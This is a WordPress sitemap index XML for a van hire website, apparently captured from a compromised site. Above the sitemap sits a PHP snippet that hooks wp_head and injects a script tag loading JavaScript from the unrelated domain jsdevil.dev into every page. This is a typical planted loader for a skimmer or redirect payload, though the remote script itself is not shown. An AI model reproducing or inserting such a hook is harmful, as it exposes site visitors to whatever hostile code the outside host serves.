add_action('wp_head', function() {

    echo '<script src="https://jsdevil.dev/dev/js/samsvanhirecouk.js"></script>' . "\n";

 

}, 999);

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://samsvanhire.co.uk/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://samsvanhire.co.uk/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://samsvanhire.co.uk/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://samsvanhire.co.uk/wp-sitemap-posts-elementskit_content-1.xml</loc></sitemap><sitemap><loc>https://samsvanhire.co.uk/wp-sitemap-posts-elementor-hf-1.xml</loc></sitemap><sitemap><loc>https://samsvanhire.co.uk/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://samsvanhire.co.uk/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>